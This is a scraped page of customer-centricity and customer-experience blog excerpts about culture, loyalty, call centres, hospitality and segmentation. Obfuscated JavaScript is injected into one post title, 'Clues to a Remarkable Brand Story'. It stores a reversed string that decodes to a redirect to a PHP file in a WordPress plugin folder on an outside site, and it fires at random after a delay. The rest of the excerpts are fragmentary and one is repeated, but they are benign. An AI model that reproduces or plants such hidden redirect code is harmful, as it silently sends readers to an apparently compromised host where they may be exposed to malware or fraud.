Customer-Centricity Goes Beyond Customer Experience Management


Customer-Centricity Goes Beyond Customer Experience Management Lynn Hunsaker. Customer experience management is necessary, yet insufficient. Traditionally, organizations have managed customer experience with a mindset of how the company is doing, in order to grow revenue.

Customer-Centric Cultures are Made of This

Beyond Morale

You can travel the world and the seven seas, everybody’s looking for customer-centric cultures. Some customers want to use you. Thanks to Annie Lennox, of the Eurythmics, for getting me to think about customer-centric cultures in a way that we all can relate to. Over the past several years I am mind-blown at how many organizations are on the quest to create more customer-centric workplace cultures. Without customers they would not exist.


Sign Up for our Newsletter

This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Meetup Success for Developing a Customer-Centric Organization


Last night, the heroes of the Customer Success Meetup met for their second event. From the enthusiastic discussion, we continue to hear that – despite best intentions – customer success is still very much in its infancy. The evening’s guest speaker, Kia Puhm, VP of Customer Experience at Oracle, has extensive experience fostering and evolving Eloqua’s customer experience department. At this meeting, review the high risk customers.

You Can’t Legislate Customer Centricity

Beyond Philosophy

One interesting bit of his speech touched on an important issue for Customer Centricity: data breaches. He said the federal standard he would impose to notify Customers their information had been compromised should be 30 days. I am surprised that it would take as long as 30 days to tell a Customer of a data breach! If they have the need to legislate, then lags in notifying Customers must have happened so many times they feel the need to put it in law!

How to Improve Customer Centricity in Hospitality


After all, the hospitality industry should be highly customer centric, as it relies on satisfying its guests. They both (should) have their customers at their heart. Having additional control of our lives today, means that customers are re-evaluating what they are offered.

Why Customer Centricity is a Lot Like Painting by Number


A few days ago, a LinkedIn follower asked me about my advice to focus on one thing at a time in customer experience strategy. The process of painting by number mimics good customer experience strategy. First, outline your strategy for customer centricity. Similarly, customer understanding and strategy are the dark, framing lines of your customer-centric paint by number. What experience are we trying to create for each customer segment?

Customer Experience Commitment – 2016 Customer Centricity Research Findings


When it comes to the subject of Customer Experience, there are many questions I would like to know the answer to. However, over the last couple of years, I have started to conduct my own independent research: In 2013, I published the results to a survey on ‘what customers really want’ Last year, I looked into the ‘things’ that make the worlds ‘number 1 customer experience brands’ I and many others found the results of both bodies of research fascinating.

How to Eliminate Hold Time in Your Call Center


The best way for a call center to stand out as a leader is through the customer experience. Most callers will begin subconsciously rating their customer experience from the beginning of the interaction, regardless of the channel; phone, web, social media, or mobile app. Omnichannel customer service isn’t just about having multiple support options; it’s about delivering exceptional service on a channel that YOUR customers find most convenient. UPDATED: January 2020.

Examining the Silent Killer of Customer-Centric Strategies


What company today doesn’t profess to be “customer-centric?” When I ask leaders what they mean by being “customer-centric,” they typically tell me that it means putting the customer’s interests first—the belief being that the best way to generate value for the enterprise is to first deliver value to the customer. when their companies decided to do what was in the customer’s best interests. Because today’s customer is out there learning on her own.

5 Top Customer Service Articles For the Week of February 22, 2021


Each week I read a number of customer service and customer experience articles from various resources. Enjoy this article that focuses on creating positive memories for your customers. How to Win Over your eCommerce Customers’ Loyalty? Customers love low or no friction.

New Training Video: Leading a Customer-Centric Culture

Toister Performance Solutions

In August 2013, I traveled to Carpinteria, California for a screen test at the online training video company, As part of my screen test, I filmed a short, unscripted course called Leading a Customer-Centric Culture. My latest LinkedIn Learning training video is a new version of Leading a Customer-Centric Culture. Course Overview The training video is a step-by-step guide that shows you how to get employees obsessed with customer service.

Customer Centricity has to be an Intrinsic Principle: an Exclusive Interview with Mr. Rohit M A, Co-Founder and Managing Director, Cloudnine

Customer Guru

We, at Customer Guru, are on a mission to spread awareness of how Customer Experience (CX) should be the number one priority for Indian businesses to become more sustainable and successful globally. Thus, we have taken this initiative of sharing the experiences of successful CX leaders across India to inspire and guide professionals in adopting and inculcating a customer-centric approach in their organizations.

Loyalty Programs!?! We Don’t Need No Stinkin’ Loyalty Programs!!!

Beyond Philosophy

Without fear of (much) argument, it’s a fair statement that all companies want, and try to generate and achieve, optimum loyalty from their customer base. They should want this because study after study shows the financial rewards of having loyal customers. Some companies reach this goal through superior value delivery, built on quality products and services and positive, consistent customer experiences. Customer loyalty programs are especially popular among retailers.

What Target Is Doing to Regain Consumer Trust – – And One of The Most Effective Things They (and GM) Could/Should Do

Beyond Philosophy

Target has issued press releases, and been on television, speaking to the fact that they are bringing in new senior IT execs to oversee customer data management. On the company web site, Target has begun posting information about initiatives and programs designed to offer customers greater purchase security. Here is one of the things they both could do to bring customers closer, and make them part of the image rebuilding effort. Michael Lowenstein, Ph.D.,

What a Customer First Strategy Is (And what it’s not!)


Everyone is talking about customer first strategies and why they are important. He spoke about the differences between customer focus and customer centricity and the often times confusion between the two terms. That is why I tend to speak about customer first rather than customer centricity these days. In its simplest form a customer first strategy is about thinking customer first in everything you do. Lack of customer understanding.

How is Your Business Dealing with the Paradox of Choice?

Beyond Philosophy

That post-purchase anxiety about a decision is a common affliction for Customers. Reducing choices isn’t the answer though, as customers are attracted by large assortments; i.e. they like the feeling of having an abundance of choice. Resolving the paradox of choice should be a priority for most organizations that want to design a Customer Experience that creates a feeling of satisfaction instead of one of angst and remorse. are ways to ease the customer decision making. .

Is Home Delivery the Right Marketing Strategy?

Beyond Philosophy

Same Day Home Delivery is the latest trend in mega online retailers to improve their reach to Customers. According to analysts, online home grocery market was worth almost $275 Billion in 2013. As we have said in other posts, changing customer’s behavior can be difficult (Link once published). If the success and dollar in the UK are any indications, home delivery of goods, groceries or otherwise, could be an enhancement to the Customer Experience in the US.

Leadership During the Pandemic: Guest Post by Rachel Dreyfus

The Petrova Experience

Most Positive Outcomes from Phase 1 of the Pandemic: Communications have become more frequent, inclusive of more levels and more compassionate, i.e., “human-centric”. Customer-centric Culture employee engagement leadership organizational culture tips

14% of Zappos Staff Quits (Which is Just Fine for Employee Engagement)


Customer experience darling Zappos recently reported 210 of its employees have resigned. Since 2013, Zappos has been working toward an organizational system known as Holacracy. Those familiar with online shopping or customer experience know Zappos is not a common company. They’re built on customer service, and they’re a common reference for customer-centric discussion.

“Are You Being Served?”: How 3 Century-Old Stores are Fighting to Stay Modern with Customer Service


For me, the soul of pre-21st Century customer service can be captured in three poignant words: “Are you free?”. These immortal customer service dew-drops I heard echoed many times via the television set on the Saturday nights of my youth when PBS would play Are You Being Served? is one of the most used phrases in the series, where staff asks each other if they are free as a way of alerting them to the fact that a customer is in need of immediate assistance.

What is Customer Experience Ecosystem?


What is Customer Experience Ecosystem? The result : 33% drop in online revenue, 25% drop in comparable store revenue, and 5 percentage points lower gross margin, with quarterly losses increasing throughout 2012, totaling $985 million loss, and new debt and a new CEO in early 2013. And Wells Fargo employees creating phony accounts for customers in order to meet an internal goal of 8 accounts per customer. can cause a costly customer experience snafu.

Focus on One Thing at a Time in Customer Experience Strategy


Because improving customer experience involves people, complex systems, and ongoing measurement, customer experience strategy can be a complicated task. Here are three reasons why focusing on one thing at a time is a good idea for your customer experience strategy : 1. Imagine your customer experience as a car. An Example of One Thing Analytics and Customer Experience Improvement. It'll make achieving your customer experience goals much easier.

How Well Do you Know Your Customers? 13 Questions your Boss Expects you to Answer


Your boss expects you to be able to answer all his questions and especially to know your customers. Here are the 13 things your boss is likely to ask you and a handy Checklist to prove to him that you know your customers better than he realises. Everyone speaks about customer centricity and the importance of the customer, but just how well do you know yours – really? Who is your customer? OK I’m starting off slowly, but do you know who your customers are?

Heroes or Villains? Customer Experience Spotlight on the Telecoms Industry


However today, I want to focus on the subject of Customer Experience in an industry that on the face of it, appears to be struggling to keep its customers happy. is a HERO when it comes to delivering great Customer Experiences…… or a VILLAIN! As an avid user of social media platforms, I am regularly exposed to stories by people I know and those who I do not know, about a wide variety of Customer Experiences. Allow me to start this post by asking a question.

Employee Behavior That Delights Your Customers

Customer Guru

We all know this by now that organizations must focus on being customer-centric in order to come out on top. Most customer experience leaders believe that customer centricity starts with the customers always. But they tend to ignore the importance of employee behavior in building a customer-centric organization. One of the most important customer-centric behavior is taking ownership of getting things done.

Are Your Customers Persona Non Grata?

CX Journey

Have you thought about this question: "In your company, are customers persona non grata?" Can you see how this relates to your customers? For our customers, right? And yet, we still see some dismal statistics about how many companies don''t focus on the customer experience or think they focus on the customer experience but really don''t. $83 businesses every year due to poor customer service. The customer is an afterthought.

Getting Company Culture and Operations Right, and Keeping Them Right: What It Really Means to Be Stakeholder-Centric This Labor Day

Beyond Philosophy

A recent article on corporate customer-centricity by a prominent market research firm made the case for this type of culture as “the most effective way to meet customers’ changing needs.” The author had several suggestions for building customer-centricity. These included getting C-level executive, customer-facing employee, and middle manager buy-in. Customer-centricity, in short, is not pervasively ‘people first’. Blogs Customer Experience

Customer Service is not a Destination, it’s a Journey: Lessons from Ryanair


Although the blue and saffron airline has recently hit a spot of turbulence largely thanks to Brexit – announcing 900 job cuts and a 21% drop in quarterly profits – the airline offers a fascinating case study in customer service maturation. This is the oft untold story of how Ryanair cleaned up its notorious customer service reputation by putting the customer first. However, in the case of Ryanair, a dip in profits in 2013 motivated some beneficial soul-searching.

Employee Culture: Why Amazon is on Top and Bank of America Isn’t

Beyond Philosophy

Each year, we do a Global Leader Survey of top executives in Customer Experience Management. According to the global leaders, that’s because: They deliver excellence customer service. They have stated publicly they want to be the “ Earth’s most customer centric company. ” One of the ones I didn’t list was that they don’t have a good awareness of what their current customer experience is and worse yet, many of them don’t care.

Clues to a Remarkable Br$vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Story


Brand stories are perhaps one of the easiest ways to resonate with customers. In a similar way, a brand wants its customers to remain and become loyal. It therefore makes promises, whether real or just perceived as such by the customer. Customers love to tell stories about “their” brands. All these stories confirm and further support the connection their customers have with these brands, so they almost become a part of their extended families.

Has Customer Experience Delivered the Goods?

Beyond Philosophy

With all the focus on Customer Experience over the years, and the increasing resource that organizations have put into improving the Customer Experience, what have been the results? The American Customer Satisfaction Index (ACSI) uses an overall U.S. Customer satisfaction score as an indicator of the health of the economy. in 2013. Transactional details are important; they just aren’t the only important part of the Customer Experience.

Localz Close £2M Funding Round to Support Business Post-COVID

CSM Magazine

Localz , leading experts in digital customer engagement, location, and communications technology announced today the closing of a £2 million venture round of funding led by London-based investment manager Triple Point. Customer Service News

What Millennials Expect from Online Customer Service

Return Customer

Accenture’s research also found that Millennials demand a customer-centric shopping experience and like to be treated like valued customers. Chinese retailers are taking interactive consumer engagement and social e-commerce to the next level via private messaging platforms like Weibo and WeChat, helping shoppers throughout the entire purchasing process via live chat and ongoing customer service. Customer Service guest post

Step up Customer Assistance with Live Video Support


Innovative ways to provide customers with immediate assistance, guidance and support lies at the heart of every customer-centric organization. Live video support – where service is provided over a live video connection – has proven to be an effective method of driving high customer satisfaction ratings and building customer loyalty through personalized service. With live video chat support, face-to-face communication is established between agent and customer.

APIs 122

How to Sell More to Less People: Essentials of Segmentation


Your brand needs to appeal to a group of customers who are looking for the solution you are offering. Although this may not sound like common sense at first, segmentation actually ensures that you have the best possible chance to satisfy the needs of your targeted customers. It also has the weakness of not truly understanding why your customers are choosing your brand – or not – over competition. They also want as many customers as possible.

The Vcare Top 50 Customer Care Influencers


When it comes to customer care across major industries, like Retail & E-Commerce, Wireless & Telecommunications, and Healthcare, there are plenty of smart minds out there. These experts make up our inaugural list of the Vcare Top 50 Customer Care Influencers.

Be Customer-Obsessed and Leave Your Competition Behind – CX Lessons by Mr. Sandeep S Patel, Customer Service Consultant

Customer Guru

At Customer Guru, we believe that Customer Experience (CX) should be the number one priority for all the Indian businesses so that they become more sustainable and successful globally. Thus, we are on a mission to spread this awareness, inspiring and guiding professionals to adopt and inculcate a customer-centric approach. We are certain that this is a first step to help organizations WOW their customers and create raving fans for themselves.

Integrate Live Chat & AI to Your eCommerce Business [& Learn How to Do It Right]

Win the Customer

Better customer service – It’s no secret that customers love live chat. eDigital surveyed in 2013, where 73% of people surveyed said that they preferred live chat to use email, SMS, social media, the phone, and so on. They are an effective, low-cost solution for customer support.

Employee Culture: Why Amazon is on Top and Bank of America Isn’t

Beyond Philosophy

Each year, we do a Global Leader Survey of top executives in Customer Experience Management. According to the global leaders, that’s because: They deliver excellence customer service. They have stated publicly they want to be the “ Earth’s most customer centric company. ”. One of the ones I didn’t list was that they don’t have a good awareness of what their current customer experience is and worse yet, many of them don’t care.

‘Customer excellence is here: it’s just not very evenly distributed yet’. The Nunwood 2014 UK Customer Experience Excellence Report


Customer Excellence is here: it’s just not evenly distributed yet’ A fantastic quote that I wish I could claim was mine! The quote is in fact the very first line of the executive summary of this years Nunwood UK Customer Experience Excellence Report – a report that should be essential reading for any customer experience professional in the UK. So let us look at what makes an ‘Excellent Customer Experience’ in a little more detail: 1.